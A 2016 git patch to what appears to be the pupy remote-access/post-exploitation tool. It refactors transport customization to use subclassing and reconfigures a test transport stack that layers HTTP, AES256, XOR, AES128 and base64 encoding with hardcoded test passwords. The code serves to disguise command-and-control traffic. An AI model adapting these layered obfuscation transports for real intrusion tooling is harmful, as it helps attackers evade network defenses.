From e3b83a63e77194326673f149764db3264c7c78e8 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Sat, 4 Jun 2016 18:53:58 +0200 Subject: [PATCH] fix subclassing NetworkTransportWrapper to cusitomize arguments when stacking multiple transports --- pupy/network/base.py | 4 ++-- pupy/network/conf.py | 12 +++++++----- 2 files changed, 9 insertions(+), 7 deletions(-) diff --git a/pupy/network/base.py b/pupy/network/base.py index eb9a205a..e7b2cbc8 100644 --- a/pupy/network/base.py +++ b/pupy/network/base.py @@ -39,8 +39,8 @@ class BasePupyTransport(object): raise TransportError("you cannot customize the protected attribute %s"%name) if not hasattr(cls, name): raise TransportError("Transport has no attribute %s"%name) - setattr(cls, name, value) - return cls + NewSubClass = type('CustomizedTransport', (cls,), kwargs) + return NewSubClass @classmethod def set(cls, **kwargs): diff --git a/pupy/network/conf.py b/pupy/network/conf.py index c37414d3..5c307323 100644 --- a/pupy/network/conf.py +++ b/pupy/network/conf.py @@ -10,7 +10,7 @@ from .transports.dummy import DummyPupyTransport from .transports.b64 import B64Client, B64Server, B64Transport from .transports.http import PupyHTTPClient, PupyHTTPServer from .transports.xor import XOR -from .transports.aes import AES256 +from .transports.aes import AES256, AES128 try: from .transports.obfs3.obfs3 import Obfs3Client, Obfs3Server obfs3_available=True @@ -144,14 +144,16 @@ transports["test_stacking"]={ "stream": PupySocketStream , "client_transport" : chain_transports( PupyHTTPClient, - AES256.set(password="plop123"), - XOR.set(xorkey="plop"), + AES256.set(password="toto123", iterations=10000), + XOR.set(xorkey="trololo"), + AES128.set(password="plop123", iterations=10000), B64Client, ), "server_transport" : chain_transports( PupyHTTPServer, - AES256.set(password="plop123"), - XOR.set(xorkey="plop"), + AES256.set(password="toto123", iterations=10000), + XOR.set(xorkey="trololo"), + AES128.set(password="plop123", iterations=10000), B64Server, ), "client_transport_kwargs": {},